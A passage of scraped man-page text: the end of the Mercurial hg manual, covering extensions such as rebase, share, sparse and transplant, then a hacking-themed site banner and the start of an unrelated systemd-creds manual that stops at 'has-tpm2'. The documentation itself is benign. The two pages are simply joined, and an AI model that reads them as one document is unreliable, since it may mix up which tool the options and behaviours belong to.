Rebase will destroy original changesets unless you use –keep. It will also move your bookmarks (even if you do).

Some changesets may be dropped if they do not contribute changes (e.g. merges from the destination branch).

Unlike merge, rebase will do nothing if you are at the branch tip of a named branch with two heads. You will need to explicitly specify source and/or destination.

If you need to use a tool to automate merge/conflict decisions, you can specify one with –tool, see hg help merge-tools. As a caveat: the tool will not be used to mediate when a file was deleted, there is no hook presently available for this.

If a rebase is interrupted to manually resolve a conflict, it can be continued with –continue/-c, aborted with –abort/-a, or stopped with –stop.

Examples:

  • move “local changes” (current commit back to branching point) to the current branch tip after a pull:
hg rebase
  • move a single changeset to the stable branch:
hg rebase -r 5f493448 -d stable
  • splice a commit and all its descendants onto another part of history:
hg rebase --source c0c3 --dest 4cf9
  • rebase everything on a branch marked by a bookmark onto the default branch:
hg rebase --base myfeature --dest default
  • collapse a sequence of changes into a single commit:
hg rebase --collapse -r 1520:1525 -d .
  • move a named branch while preserving its name:
hg rebase -r "branch(featureX)" -d 1.3 --keepbranches
  • stabilize orphaned changesets so history looks linear:
hg rebase -r 'orphan()-obsolete()' -d 'first(max((successors(max(roots(ALLSRC) & ::SRC)^)-obsolete())::) + max(::((roots(ALLSRC) & ::SRC)^)-obsolete()))'

Configuration Options:

You can make rebase require a destination if you set the following config option:

[commands]
rebase.requiredest = True

By default, rebase will close the transaction after each commit. For performance purposes, you can configure rebase to use a single transaction across the entire rebase. WARNING: This setting introduces a significant risk of losing the work you’ve done in a rebase if the rebase aborts unexpectedly:

[rebase]
singletransaction = True

By default, rebase writes to the working copy, but you can configure it to run in-memory for better performance. When the rebase is not moving the parent(s) of the working copy (AKA the “currently checked out changesets”), this may also allow it to run even if the working copy is dirty:

[rebase]
experimental.inmemory = True

Return Values:

Returns 0 on success, 1 if nothing to rebase or there are unresolved conflicts.

Options:

-s,–source** <REV[+]>**
rebase the specified changesets and their descendants

-b,–base** <REV[+]>**
rebase everything from branching point of specified changeset

-r,–rev** <REV[+]>**
rebase these revisions

-d,–dest** <REV>**
rebase onto the specified changeset

–collapse
collapse the rebased changesets

-m,–message** <TEXT>**
use text as collapse commit message

-e, –edit
invoke editor on commit messages

-l,–logfile** <FILE>**
read collapse commit message from file

-k, –keep
keep original changesets

–keepbranches
keep original branch names

-D, –detach
(DEPRECATED)

-i, –interactive
(DEPRECATED)

-t,–tool** <VALUE>**
specify merge tool

–stop
stop interrupted rebase

-c, –continue
continue an interrupted rebase

-a, –abort
abort an interrupted rebase

–auto-orphans* <VALUE>*
automatically rebase orphan revisions in the specified revset (EXPERIMENTAL)

-n, –dry-run
do not perform actions, just print output

-T,–template** <TEMPLATE>**
display with template

–confirm
ask before applying actions

[+] marked option can be specified multiple times

record

commands to interactively select changes for commit/qrefresh (DEPRECATED)

The feature provided by this extension has been moved into core Mercurial as hg commit –interactive.

Commands

Change creation

qrecord

interactively record a new patch:

hg qrecord [OPTION]... PATCH [FILE]...

See hg help qnew & hg help record for more information and usage.

record

interactively select changes to commit:

hg record [OPTION]... [FILE]...

If a list of files is omitted, all changes reported by hg status will be candidates for recording.

See hg help dates for a list of formats valid for -d/–date.

If using the text interface (see hg help config), you will be prompted for whether to record changes to each modified file, and for files with multiple changes, for each change to use. For each query, the following responses are possible:

y - record this change
n - skip this change
e - edit this change manually

s - skip remaining changes to this file
f - record remaining changes to this file

d - done, skip remaining changes and files
a - record all changes to all remaining files
q - quit, recording no changes

? - display help

This command is not available when committing a merge.

Options:

-A, –addremove
mark new/missing files as added/removed before committing

–close-branch
mark a branch head as closed

–amend
amend the parent of the working directory

-s, –secret
use the secret phase for committing

–draft
use the draft phase for committing

-e, –edit
invoke editor on commit messages

–force-close-branch
forcibly close branch from a non-head changeset (ADVANCED)

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-S, –subrepos
recurse into subrepositories

-w, –ignore-all-space
ignore white space when comparing lines

-b, –ignore-space-change
ignore changes in the amount of white space

-B, –ignore-blank-lines
ignore changes whose lines are all blank

-Z, –ignore-space-at-eol
ignore changes in whitespace at EOL

[+] marked option can be specified multiple times

releasenotes

generate release notes from commit messages (EXPERIMENTAL)

It is common to maintain files detailing changes in a project between releases. Maintaining these files can be difficult and time consuming. The hg releasenotes command provided by this extension makes the process simpler by automating it.

Commands

Change navigation

releasenotes

parse release notes from commit messages into an output file:

hg releasenotes [-r REV] [-c] FILE

Given an output file and set of revisions, this command will parse commit messages for release notes then add them to the output file.

Release notes are defined in commit messages as ReStructuredText directives. These have the form:

.. directive:: title

   content

Each directive maps to an output section in a generated release notes file, which itself is ReStructuredText. For example, the .. feature:: directive would map to a New Features section.

Release note directives can be either short-form or long-form. In short- form, title is omitted and the release note is rendered as a bullet list. In long form, a sub-section with the title title is added to the section.

The FILE argument controls the output file to write gathered release notes to. The format of the file is:

Section 1
=========

...

Section 2
=========

...

Only sections with defined release notes are emitted.

If a section only has short-form notes, it will consist of bullet list:

Section
=======

* Release note 1
* Release note 2

If a section has long-form notes, sub-sections will be emitted:

Section
=======

Note 1 Title
------------

Description of the first long-form note.

Note 2 Title
------------

Description of the second long-form note.

If the FILE argument points to an existing file, that file will be parsed for release notes having the format that would be generated by this command. The notes from the processed commit messages will be merged into this parsed set.

During release notes merging:

  • Duplicate items are automatically ignored

  • Items that are different are automatically ignored if the similarity is greater than a threshold.

This means that the release notes file can be updated independently from this command and changes should not be lost when running this command on that file. A particular use case for this is to tweak the wording of a release note after it has been added to the release notes file.

The -c/–check option checks the commit message for invalid admonitions.

The -l/–list option, presents the user with a list of existing available admonitions along with their title. This also includes the custom admonitions (if any).

Options:

-r,–rev** <REV>**
revisions to process for release notes

-c, –check
checks for validity of admonitions (if any)

-l, –list
list the available admonitions with their title

Uncategorized commands

recreates hardlinks between repository clones

Commands

Repository maintenance

recreate hardlinks between two repositories:

hg relink [ORIGIN]

When repositories are cloned locally, their data files will be hardlinked so that they only use the space of a single repository.

Unfortunately, subsequent pulls into either repository will break hardlinks for any files touched by the new changesets, even if both repositories end up pulling the same changes.

Similarly, passing –rev to “hg clone” will fail to use any hardlinks, falling back to a complete copy of the source repository.

This command lets you recreate those hardlinks and reclaim that wasted space.

This repository will be relinked to share space with ORIGIN, which must be on the same local disk. If ORIGIN is omitted, looks for “default-relink”, then “default”, in [paths].

Do not attempt any read operations on this repository while the command is running. (Both repositories will be locked against writes.)

remotefilelog

remotefilelog causes Mercurial to lazilly fetch file contents (EXPERIMENTAL)

This extension is HIGHLY EXPERIMENTAL. There are NO BACKWARDS COMPATIBILITY GUARANTEES. This means that repositories created with this extension may only be usable with the exact version of this extension/Mercurial that was used. The extension attempts to enforce this in order to prevent repository corruption.

remotefilelog works by fetching file contents lazily and storing them in a cache on the client rather than in revlogs. This allows enormous histories to be transferred only partially, making them easier to operate on.

Configs:

packs.maxchainlen specifies the maximum delta chain length in pack files

packs.maxpacksize specifies the maximum pack file size

packs.maxpackfilecount specifies the maximum number of packs in the
shared cache (trees only for now)

remotefilelog.backgroundprefetch runs prefetch in background when True

remotefilelog.bgprefetchrevs specifies revisions to fetch on commit and
update, and on other commands that use them. Different from pullprefetch.

remotefilelog.gcrepack does garbage collection during repack when True

remotefilelog.nodettl specifies maximum TTL of a node in seconds before
it is garbage collected

remotefilelog.repackonhggc runs repack on hg gc when True

remotefilelog.prefetchdays specifies the maximum age of a commit in
days after which it is no longer prefetched.

remotefilelog.prefetchdelay specifies delay between background
prefetches in seconds after operations that change the working copy parent

remotefilelog.data.gencountlimit constraints the minimum number of data
pack files required to be considered part of a generation. In particular, minimum number of packs files > gencountlimit.

remotefilelog.data.generations list for specifying the lower bound of
each generation of the data pack files. For example, list [‘100MB’,‘1MB’] or [‘1MB’, ‘100MB’] will lead to three generations: [0, 1MB), [ 1MB, 100MB) and [100MB, infinity).

remotefilelog.data.maxrepackpacks the maximum number of pack files to
include in an incremental data repack.

remotefilelog.data.repackmaxpacksize the maximum size of a pack file for
it to be considered for an incremental data repack.

remotefilelog.data.repacksizelimit the maximum total size of pack files
to include in an incremental data repack.

remotefilelog.history.gencountlimit constraints the minimum number of
history pack files required to be considered part of a generation. In particular, minimum number of packs files > gencountlimit.

remotefilelog.history.generations list for specifying the lower bound of
each generation of the history pack files. For example, list [ ‘100MB’, ‘1MB’] or [‘1MB’, ‘100MB’] will lead to three generations: [ 0, 1MB), [1MB, 100MB) and [100MB, infinity).

remotefilelog.history.maxrepackpacks the maximum number of pack files to
include in an incremental history repack.

remotefilelog.history.repackmaxpacksize the maximum size of a pack file
for it to be considered for an incremental history repack.

remotefilelog.history.repacksizelimit the maximum total size of pack
files to include in an incremental history repack.

remotefilelog.backgroundrepack automatically consolidate packs in the
background

remotefilelog.cachepath path to cache

remotefilelog.cachegroup if set, make cache directory sgid to this
group

remotefilelog.cacheprocess binary to invoke for fetching file data

remotefilelog.debug turn on remotefilelog-specific debug output

remotefilelog.excludepattern pattern of files to exclude from pulls

remotefilelog.includepattern pattern of files to include in pulls

remotefilelog.fetchwarning: message to print when too many
single-file fetches occur

remotefilelog.getfilesstep number of files to request in a single RPC

remotefilelog.getfilestype if set to ’threaded’ use threads to fetch
files, otherwise use optimistic fetching

remotefilelog.pullprefetch revset for selecting files that should be
eagerly downloaded rather than lazily

remotefilelog.reponame name of the repo. If set, used to partition
data from other repos in a shared store.

remotefilelog.server if true, enable server-side functionality

remotefilelog.servercachepath path for caching blobs on the server

remotefilelog.serverexpiration number of days to keep cached server
blobs

remotefilelog.validatecache if set, check cache entries for corruption
before returning blobs

remotefilelog.validatecachelog if set, check cache entries for
corruption before returning metadata

Commands

Repository maintenance

prefetch

prefetch file revisions from the server:

hg prefetch [OPTIONS] [FILE...]

Prefetchs file revisions for the specified revs and stores them in the local remotefilelog cache. If no rev is specified, the default rev is used which is the union of dot, draft, pullprefetch and bgprefetchrev. File names or patterns can be used to limit which files are downloaded.

Return 0 on success.

Options:

-r,–rev** <REV[+]>**
prefetch the specified revisions

–repack
run repack after prefetch

-b,–base** <VALUE>**
rev that is assumed to already be local

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

Uncategorized commands

gc

garbage collect the client and server filelog caches:

hg gc [REPO...]

garbage collect the client and server filelog caches

repack

hg repack [OPTIONS]

Options:

–background
run in a background process

–incremental
do an incremental repack

–packsonly
only repack packs (skip loose objects)

verifyremotefilelog

hg verifyremotefilelogs <directory>

Options:

-d, –decompress
decompress the filelogs first

remotenames

showing remotebookmarks and remotebranches in UI (EXPERIMENTAL)

By default both remotebookmarks and remotebranches are turned on. Config knob to control the individually are as follows.

Config options to tweak the default behaviour:

remotenames.bookmarks
Boolean value to enable or disable showing of remotebookmarks (default: True)

remotenames.branches
Boolean value to enable or disable showing of remotebranches (default: True)

remotenames.hoistedpeer
Name of the peer whose remotebookmarks should be hoisted into the top-level namespace (default: ‘default’)

schemes

extend schemes with shortcuts to repository swarms

This extension allows you to specify shortcuts for parent URLs with a lot of repositories to act like a scheme, for example:

[schemes]
py = http://code.python.org/hg/

After that you can use it like:

hg clone py://trunk/

Additionally there is support for some more complex schemas, for example used by Google Code:

[schemes]
gcode = http://{1}.googlecode.com/hg/

The syntax is taken from Mercurial templates, and you have unlimited number of variables, starting with {1} and continuing with {2}, {3} and so on. This variables will receive parts of URL supplied, split by /. Anything not specified as {part} will be just appended to an URL.

For convenience, the extension adds these schemes by default:

[schemes]
py = http://hg.python.org/
bb = https://bitbucket.org/
bb+ssh = ssh://[email protected]/
gcode = https://{1}.googlecode.com/hg/
kiln = https://{1}.kilnhg.com/Repo/

You can override a predefined scheme by defining a new scheme with the same name.

Commands

Uncategorized commands

share

share a common history between several working directories

The share extension introduces a new command hg share to create a new working directory. This is similar to hg clone, but doesn’t involve copying or linking the storage of the repository. This allows working on different branches or changes in parallel without the associated cost in terms of disk space.

Note: destructive operations or extensions like hg rollback should be used with care as they can result in confusing problems.

Automatic Pooled Storage for Clones

When this extension is active, hg clone can be configured to automatically share/pool storage across multiple clones. This mode effectively converts hg clone to hg clone + hg share. The benefit of using this mode is the automatic management of store paths and intelligent pooling of related repositories.

The following share. config options influence this feature:

share.pool
Filesystem path where shared repository data will be stored. When defined, hg clone will automatically use shared repository storage instead of creating a store inside each clone.

share.poolnaming
How directory names in share.pool are constructed.

“identity” means the name is derived from the first changeset in the repository. In this mode, different remotes share storage if their root/initial changeset is identical. In this mode, the local shared repository is an aggregate of all encountered remote repositories.

“remote” means the name is derived from the source repository’s path or URL. In this mode, storage is only shared if the path or URL requested in the hg clone command matches exactly to a repository that was cloned before.

The default naming mode is “identity”.

Sharing requirements and configs of source repository with shares:

By default creating a shared repository only enables sharing a common history and does not share requirements and configs between them. This may lead to problems in some cases, for example when you upgrade the storage format from one repository but does not set related configs in the shares.

Setting format.exp-share-safe = True enables sharing configs and requirements. This only applies to shares which are done after enabling the config option.

For enabling this in existing shares, enable the config option and reshare.

For resharing existing shares, make sure your working directory is clean and there are no untracked files, delete that share and create a new share.

Commands

Repository creation

share

create a new shared repository:

hg share [-U] [-B] SOURCE [DEST]

Initialize a new repository and working directory that shares its history (and optionally bookmarks) with another repository.

Note
using rollback or extensions that destroy/modify history (mq, rebase, etc.) can cause considerable confusion with shared clones. In particular, if two shared clones are both updated to the same changeset, and one of them destroys that changeset with rollback, the other clone will suddenly stop working: all operations will fail with “abort: working directory has unknown parent”. The only known workaround is to use debugsetparents on the broken clone to reset it to a changeset that still exists.

Options:

-U, –noupdate
do not create a working directory

-B, –bookmarks
also share bookmarks

–relative
point to source using a relative path

Repository maintenance

unshare

convert a shared repository to a normal one:

hg unshare

Copy the store data to the repo and remove the sharedpath data.

show

unified command to show various repository information (EXPERIMENTAL)

This extension provides the hg show command, which provides a central command for displaying commonly-accessed repository data and views of that data.

The following config options can influence operation.

commands

show.aliasprefix
List of strings that will register aliases for views. e.g. s will effectively set config options alias.s<view> = show <view> for all views. i.e. hg swork would execute hg show work.

Aliases that would conflict with existing registrations will not be performed.

Commands

Change navigation

show

show various repository information:

hg show VIEW

A requested view of repository data is displayed.

If no view is requested, the list of available views is shown and the command aborts.

Note
There are no backwards compatibility guarantees for the output of this command. Output may change in any future Mercurial release.

Consumers wanting stable command output should specify a template via -T/–template.

List of available views:

bookmarks bookmarks and their associated changeset

stack current line of work

work changesets that aren’t finished

Options:

-T,–template** <TEMPLATE>**
display with template

sparse

allow sparse checkouts of the working directory (EXPERIMENTAL)

(This extension is not yet protected by backwards compatibility guarantees. Any aspect may break in future releases until this notice is removed.)

This extension allows the working directory to only consist of a subset of files for the revision. This allows specific files or directories to be explicitly included or excluded. Many repository operations have performance proportional to the number of files in the working directory. So only realizing a subset of files in the working directory can improve performance.

Sparse Config Files

The set of files that are part of a sparse checkout are defined by a sparse config file. The file defines 3 things: includes (files to include in the sparse checkout), excludes (files to exclude from the sparse checkout), and profiles (links to other config files).

The file format is newline delimited. Empty lines and lines beginning with # are ignored.

Lines beginning with %include `` denote another sparse config file to include. e.g. ``%include tests.sparse. The filename is relative to the repository root.

The special lines [include] and [exclude] denote the section for includes and excludes that follow, respectively. It is illegal to have [include] after [exclude].

Non-special lines resemble file patterns to be added to either includes or excludes. The syntax of these lines is documented by hg help patterns. Patterns are interpreted as glob: by default and match against the root of the repository.

Exclusion patterns take precedence over inclusion patterns. So even if a file is explicitly included, an [exclude] entry can remove it.

For example, say you have a repository with 3 directories, frontend/, backend/, and tools/. frontend/ and backend/ correspond to different projects and it is uncommon for someone working on one to need the files for the other. But tools/ contains files shared between both projects. Your sparse config files may resemble:

# frontend.sparse
frontend/**
tools/**

# backend.sparse
backend/**
tools/**

Say the backend grows in size. Or there’s a directory with thousands of files you wish to exclude. You can modify the profile to exclude certain files:

[include]
backend/**
tools/**

[exclude]
tools/tests/**

Commands

Uncategorized commands

split

command to split a changeset into smaller ones (EXPERIMENTAL)

Commands

Change manipulation

split

split a changeset into smaller ones:

hg split [--no-rebase] [[-r] REV]

Repeatedly prompt changes and commit message for new changesets until there is nothing left in the original changeset.

If –rev was not given, split the working directory parent.

By default, rebase connected non-obsoleted descendants onto the new changeset. Use –no-rebase to avoid the rebase.

Options:

-r,–rev** <REV>**
revision to split

–rebase
rebase descendants after split (default: True)

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

sqlitestore

store repository data in SQLite (EXPERIMENTAL)

The sqlitestore extension enables the storage of repository data in SQLite.

This extension is HIGHLY EXPERIMENTAL. There are NO BACKWARDS COMPATIBILITY GUARANTEES. This means that repositories created with this extension may only be usable with the exact version of this extension/Mercurial that was used. The extension attempts to enforce this in order to prevent repository corruption.

In addition, several features are not yet supported or have known bugs:

  • Only some data is stored in SQLite. Changeset, manifest, and other repository data is not yet stored in SQLite.

  • Transactions are not robust. If the process is aborted at the right time during transaction close/rollback, the repository could be in an inconsistent state. This problem will diminish once all repository data is tracked by SQLite.

  • Bundle repositories do not work (the ability to use e.g. hg -R <bundle-file> log to automatically overlay a bundle on top of the existing repository).

  • Various other features don’t work.

This extension should work for basic clone/pull, update, and commit workflows. Some history rewriting operations may fail due to lack of support for bundle repositories.

To use, activate the extension and set the storage.new-repo-backend config option to sqlite to enable new repositories to use SQLite for storage.

strip

strip changesets and their descendants from history (DEPRECATED)

The functionality of this extension has been included in core Mercurial since version 5.7. Please use hg debugstrip … instead.

This extension allows you to strip changesets and all their descendants from the repository. See the command help for details.

transplant

command to transplant changesets from another branch

This extension allows you to transplant changes to another parent revision, possibly in another repository. The transplant is done using ‘diff’ patches.

Transplanted patches are recorded in .hg/transplant/transplants, as a map from a changeset hash to its hash in the source repository.

Commands

Change manipulation

transplant

transplant changesets from another branch:

hg transplant [-s REPO] [-b BRANCH [-a]] [-p REV] [-m REV] [REV]...

Selected changesets will be applied on top of the current working directory with the log of the original changeset. The changesets are copied and will thus appear twice in the history with different identities.

Consider using the graft command if everything is inside the same repository - it will use merges and will usually give a better result. Use the rebase extension if the changesets are unpublished and you want to move them instead of copying them.

If –log is specified, log messages will have a comment appended of the form:

(transplanted from CHANGESETHASH)

You can rewrite the changelog message with the –filter option. Its argument will be invoked with the current changelog message as $1 and the patch as $2.

–source/-s specifies another repository to use for selecting changesets, just as if it temporarily had been pulled. If –branch/-b is specified, these revisions will be used as heads when deciding which changesets to transplant, just as if only these revisions had been pulled. If –all/-a is specified, all the revisions up to the heads specified with –branch will be transplanted.

Example:

  • transplant all changes up to REV on top of your current revision:
hg transplant --branch REV --all

You can optionally mark selected transplanted changesets as merge changesets. You will not be prompted to transplant any ancestors of a merged transplant, and you can merge descendants of them normally instead of transplanting them.

Merge changesets may be transplanted directly by specifying the proper parent changeset by calling hg transplant –parent.

If no merges or revisions are provided, hg transplant will start an interactive changeset browser.

If a changeset application fails, you can fix the merge by hand and then resume where you left off by calling hg transplant –continue/-c.

Options:

-s,–source** <REPO>**
transplant changesets from REPO

-b,–branch** <REV[+]>**
use this source changeset as head

-a, –all
pull all changesets up to the –branch revisions

-p,–prune** <REV[+]>**
skip over REV

-m,–merge** <REV[+]>**
merge at REV

–parent* <REV>*
parent to choose when transplanting merge

-e, –edit
invoke editor on commit messages

–log
append transplant info to log message

–stop
stop interrupted transplant

-c, –continue
continue last transplant session after fixing conflicts

–filter* <CMD>*
filter changesets through command

[+] marked option can be specified multiple times

uncommit

uncommit part or all of a local changeset (EXPERIMENTAL)

This command undoes the effect of a local commit, returning the affected files to their uncommitted state. This means that files modified, added or removed in the changeset will be left unchanged, and so will remain modified, added and removed in the working directory.

Commands

Change manipulation

unamend

undo the most recent amend operation on a current changeset:

hg unamend

This command will roll back to the previous version of a changeset, leaving working directory in state in which it was before running hg amend (e.g. files modified as part of an amend will be marked as modified hg status)

uncommit

uncommit part or all of a local changeset:

hg uncommit [OPTION]... [FILE]...

This command undoes the effect of a local commit, returning the affected files to their uncommitted state. This means that files modified or deleted in the changeset will be left unchanged, and so will remain modified in the working directory.

If no files are specified, the commit will be pruned, unless –keep is given.

Options:

–keep
allow an empty commit after uncommitting

–allow-dirty-working-copy
allow uncommit with outstanding changes

-n,–note** <TEXT>**
store a note on uncommit

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

-m,–message** <TEXT>**
use text as commit message

-l,–logfile** <FILE>**
read commit message from file

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

-D, –currentdate
record the current date as commit date

-U, –currentuser
record the current user as committer

[+] marked option can be specified multiple times

win32mbcs

allow the use of MBCS paths with problematic encodings

Some MBCS encodings are not good for some path operations (i.e. splitting path, case conversion, etc.) with its encoded bytes. We call such a encoding (i.e. shift_jis and big5) as “problematic encoding”. This extension can be used to fix the issue with those encodings by wrapping some functions to convert to Unicode string before path operation.

This extension is useful for:

  • Japanese Windows users using shift_jis encoding.

  • Chinese Windows users using big5 encoding.

  • All users who use a repository with one of problematic encodings on case-insensitive file system.

This extension is not needed for:

  • Any user who use only ASCII chars in path.

  • Any user who do not use any of problematic encodings.

Note that there are some limitations on using this extension:

  • You should use single encoding in one repository.

  • If the repository path ends with 0x5c, .hg/hgrc cannot be read.

  • win32mbcs is not compatible with fixutf8 extension.

By default, win32mbcs uses encoding.encoding decided by Mercurial. You can specify the encoding by config option:

[win32mbcs]
encoding = sjis

It is useful for the users who want to commit with UTF-8 log message.

win32text

perform automatic newline conversion (DEPRECATED)

Deprecation: The win32text extension requires each user to configure the extension again and again for each clone since the configuration is not copied when cloning.

We have therefore made the eol as an alternative. The eol uses a version controlled file for its configuration and each clone will therefore use the right settings from the start.

To perform automatic newline conversion, use:

[extensions]
win32text =
[encode]
** = cleverencode:
# or ** = macencode:

[decode]
** = cleverdecode:
# or ** = macdecode:

If not doing conversion, to make sure you do not commit CRLF/CR by accident:

[hooks]
pretxncommit.crlf = python:hgext.win32text.forbidcrlf
# or pretxncommit.cr = python:hgext.win32text.forbidcr

To do the same check on a server to prevent CRLF/CR from being pushed or pulled:

[hooks]
pretxnchangegroup.crlf = python:hgext.win32text.forbidcrlf
# or pretxnchangegroup.cr = python:hgext.win32text.forbidcr

zeroconf

discover and advertise repositories on the local network

The zeroconf extension will advertise hg serve instances over DNS-SD so that they can be discovered using the hg paths command without knowing the server’s IP address.

To allow other people to discover your repository using run hg serve in your repository:

$ cd test
$ hg serve

You can discover Zeroconf-enabled repositories by running hg paths:

$ hg paths
zc-test = http://example.com:8000/test

FILES

/etc/mercurial/hgrc, $HOME/.hgrc, .hg/hgrc
This file contains defaults and configuration. Values in .hg/hgrc override those in $HOME/.hgrc, and these override settings made in the global /etc/mercurial/hgrc configuration. See hgrc(5) for details of the contents and format of these files.

.hgignore
This file contains regular expressions (one per line) that describe file names that should be ignored by hg. For details, see hgignore(5).

.hgsub
This file defines the locations of all subrepositories, and tells where the subrepository checkouts came from. For details, see hg help subrepos.

.hgsubstate
This file is where Mercurial stores all nested repository states. NB: This file should not be edited manually.

.hgtags
This file contains changeset hash values and text tag names (one of each separated by spaces) that correspond to tagged versions of the repository contents. The file content is encoded using UTF-8.

.hg/last-message.txt
This file is used by hg commit to store a backup of the commit message in case the commit fails.

.hg/localtags
This file can be used to define local tags which are not shared among repositories. The file format is the same as for .hgtags, but it is encoded using the local system encoding.

Some commands (e.g. revert) produce backup files ending in .orig, if the .orig file already exists and is not tracked by Mercurial, it will be overwritten.

BUGS

Probably lots, please post them to the mailing list (see Resources below) when you find them.

SEE ALSO

hgignore(5), hgrc(5)

AUTHOR

Written by Olivia Mackall <[email protected]>

RESOURCES

Main Web Site: https://mercurial-scm.org/

Source code repository: https://www.mercurial-scm.org/repo/hg

Mailing list: https://www.mercurial-scm.org/mailman/listinfo/mercurial/

COPYING

Copyright (C) 2005-2023 Olivia Mackall. Free use of this software is granted under the terms of the GNU General Public License version 2 or any later version.

AUTHOR

Olivia Mackall <[email protected]>

Organization: Mercurial

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

555 - Linux cli command systemd-creds

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-creds and provides detailed information about the command systemd-creds, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-creds.

NAME 🖥️ systemd-creds 🖥️

creds - Lists, shows, encrypts and decrypts service credentials

SYNOPSIS

systemd-creds [OPTIONS…] COMMAND [ARGS…]

DESCRIPTION

systemd-creds is a tool for listing, showing, encrypting and decrypting unit credentials. Credentials are limited-size binary or textual objects that may be passed to unit processes. They are primarily used for passing cryptographic keys (both public and private) or certificates, user account information or identity information from the host to services.

Credentials are configured in unit files via the ImportCredential=, LoadCredential=, SetCredential=, LoadCredentialEncrypted=, and SetCredentialEncrypted= settings, see systemd.exec(5) for details.

For further information see System and Service Credentials[1] documentation.

COMMANDS

The following commands are understood:

list

Show a list of credentials passed into the current execution context. This command shows the files in the directory referenced by the $CREDENTIALS_DIRECTORY environment variable, and is intended to be executed from within service context.

Along with each credential name, the size and security state is shown. The latter is one of “secure” (in case the credential is backed by unswappable memory, i.e. “ramfs”), “weak” (in case it is backed by any other type of memory), or “insecure” (if having any access mode that is not 0400, i.e. if readable by anyone but the owner).

Added in version 250.

cat credential…

Show contents of specified credentials passed into the current execution context. Takes one or more credential names, whose contents shall be written to standard output.

When combined with –json= or –transcode= the output is transcoded in simple ways before outputting.

Added in version 250.

setup

Generates a host encryption key for credentials, if one has not been generated already. This ensures the /var/lib/systemd/credential.secret file is initialized with a random secret key if it doesnt exist yet. This secret key is used when encrypting/decrypting credentials with encrypt or decrypt, and is only accessible to the root user. Note that theres typically no need to invoke this command explicitly as it is implicitly called when encrypt is invoked, and credential host key encryption selected.

Added in version 250.

encrypt input|- output|-

Loads the specified (unencrypted plaintext) input credential file, encrypts it and writes the (encrypted ciphertext) output to the specified target credential file. The resulting file may be referenced in the LoadCredentialEncrypted= setting in unit files, or its contents used literally in SetCredentialEncrypted= settings.

Takes two file system paths. The file name part of the output path is embedded as name in the encrypted credential, to ensure encrypted credentials cannot be renamed and reused for different purposes without this being noticed. The credential name to embed may be overridden with the –name= setting. The input or output paths may be specified as “-”, in which case the credential data is read from/written to standard input and standard output. If the output path is specified as “-” the credential name cannot be derived from the file system path, and thus should be specified explicitly via the –name= switch.

The credential data is encrypted and authenticated symmetrically with one of the following encryption keys:

1.

A secret key automatically derived from the systems TPM2 chip. This encryption key is not stored on the host system and thus decryption is only possible with access to the original TPM2 chip. Or in other words, the credential secured in this way can only be decrypted again by the local machine.

2.

A secret key stored in the /var/lib/systemd/credential.secret file which is only accessible to the root user. This “host” encryption key is stored on the host file system, and thus decryption is possible with access to the host file system and sufficient privileges. The key is automatically generated when needed, but can also be created explicitly with the setup command, see above.

3.

A combination of the above: an encryption key derived from both the TPM2 chip and the host file system. This means decryption requires both access to the original TPM2 chip and the OS installation. This is the default mode of operation if a TPM2 chip is available and /var/lib/systemd/ resides on persistent media.

Which of the three keys shall be used for encryption may be configured with the –with-key= switch. Depending on the use-case for the encrypted credential the key to use may differ. For example, for credentials that shall be accessible from the initrd, encryption with the host key is not appropriate, since access to the host key is typically not available from the initrd. Thus, for such credentials only the TPM2 key should be used.

Encrypted credentials are always encoded in Base64.

Use decrypt (see below) to undo the encryption operation, and acquire the decrypted plaintext credential from the encrypted ciphertext credential.

The credential data is encrypted using AES256-GCM, i.e. providing both confidentiality and integrity, keyed by a SHA256 hash of one or both of the secret keys described above.

Added in version 250.

decrypt input|- [output|-]

Undoes the effect of the encrypt operation: loads the specified (encrypted ciphertext) input credential file, decrypts and authenticates it and writes the (decrypted plaintext) output to the specified target credential file.

Takes one or two file system paths. The file name part of the input path is compared with the credential name embedded in the encrypted file. If it does not match decryption fails. This is done in order to ensure that encrypted credentials are not re-purposed without this being detected. The credential name to compare with the embedded credential name may also be overridden with the –name= switch. If the input path is specified as “-”, the encrypted credential is read from standard input. If only one path is specified or the output path specified as “-”, the decrypted credential is written to standard output. In this mode, the expected name embedded in the credential cannot be derived from the path and should be specified explicitly with –name=.

Decrypting credentials requires access to the original TPM2 chip and/or credentials host key, see above. Information about which keys are required is embedded in the encrypted credential data, and thus decryption is entirely automatic.

Added in version 250.

has-tpm2

